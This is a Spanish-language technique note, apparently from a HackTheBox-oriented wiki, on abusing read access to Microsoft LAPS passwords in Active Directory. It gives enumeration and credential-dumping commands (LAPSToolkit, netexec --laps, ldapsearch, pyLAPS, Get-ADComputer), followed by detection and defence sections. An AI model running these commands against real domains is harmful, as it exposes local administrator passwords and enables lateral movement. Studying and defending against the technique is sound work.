LAPS (Local Administrator Password Solution)
LAPS es una solución de Microsoft que resuelve un problema clásico de las redes Windows: que todos los equipos compartan la misma contraseña de administrador local. Cuando eso pasa, comprometer una sola máquina (y volcar ese hash) permite moverse a todas las demás con la misma credencial. LAPS rompe ese patrón generando una contraseña única, aleatoria y rotada para la cuenta de administrador local de cada host.
La gracia está en dónde guarda esas contraseñas: las almacena en el propio Active Directory, en atributos del objeto de equipo (ms-Mcs-AdmPwd para la contraseña en claro y ms-Mcs-AdmPwdExpirationTime para la fecha de expiración). El acceso a esos atributos se controla por ACLs, así que no cualquiera puede leerlos: hay que pertenecer a un grupo o tener delegado el permiso All Extended Rights (o ReadLAPSPassword).
Enumeración: quién puede leer LAPS
Ese control de acceso es justamente el vector de abuso. El LAPSToolkit responde a las tres preguntas clave (qué equipos tienen LAPS, qué grupos pueden leerlo y qué cuentas tienen los derechos extendidos):
Import-Module .\LAPSToolkit.ps1
Get-LAPSComputers # equipos con LAPS + expiracion + contrasena si tenemos derechos
Find-LAPSDelegatedGroups # grupos con permiso de lectura sobre ms-Mcs-AdmPwd
Find-AdmPwdExtendedRights # cuentas con All Extended Rights sobre equipos con LAPSLa pertenencia a esos grupos también se ve con net user <user> (en Global Group memberships) o con BloodHound, que marca la arista ReadLAPSPassword sobre el objeto de equipo.
Leer la contraseña
Si la cuenta que controlamos tiene el permiso, se recupera en claro la contraseña del administrador local. Hay varias vías según desde dónde operemos:
# Linux, con netexec (modulo laps)
netexec ldap <dc> -u <user> -p <pass> --laps
netexec smb <dc> -u <user> -p <pass> -M laps
# Linux, consulta LDAP directa del atributo
ldapsearch -x -H ldap://<dc> -D '<user>@<domain>' -w '<pass>' \
-b "DC=<dom>,DC=<tld>" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd
# pyLAPS (dump masivo)
pyLAPS.py --action get -d <domain> -u <user> -p <pass>Desde Windows con la sesión del usuario lector:
Get-ADComputer <host> -Properties ms-Mcs-AdmPwd | select name,ms-Mcs-AdmPwdEl resultado es la contraseña local de Administrator de ese host, que suele bastar para entrar como administrador (por WinRM, SMB o RDP) y leer la flag de root.
Requisitos
LAPS desplegado en el dominio, alcance a AD/LDAP y una cuenta con el permiso de lectura del atributo (por pertenencia a un grupo delegado o por All Extended Rights). Sin ese permiso el atributo aparece vacío.
Cómo detectarlo. Leer la contraseña es una consulta LDAP del atributo ms-Mcs-AdmPwd, así que la detección exige auditar el acceso a ese atributo: con una SACL de lectura sobre los objetos de equipo, cada lectura genera un Event ID 4662 (acceso a un objeto) que referencia la propiedad de LAPS. La señal es una cuenta leyendo el ms-Mcs-AdmPwd de equipos que no le corresponden, o leyendo el de muchos hosts en poco tiempo (volcado masivo con Get-LAPSPasswords/netexec --laps). Windows LAPS moderno emite además su propio registro de eventos operacionales al consultar la contraseña. Un honey computer con LAPS y sin uso convierte cualquier lectura de su atributo en alarma directa.
Defensa. Restringir al mínimo quién puede leer los atributos de LAPS, auditar las lecturas de ms-Mcs-AdmPwd, y vigilar que ninguna cuenta de servicio de bajo privilegio acabe en grupos con permiso de lectura. La versión moderna (Windows LAPS, 2023) cifra la contraseña en AD y añade historial, lo que reduce la exposición frente a la versión legacy.
Suele combinarse con powershell-history (de donde sale la credencial del usuario lector) y con winrm-cert-auth para el acceso inicial.
Máquinas donde se aplica
- TimelapseHackTheBox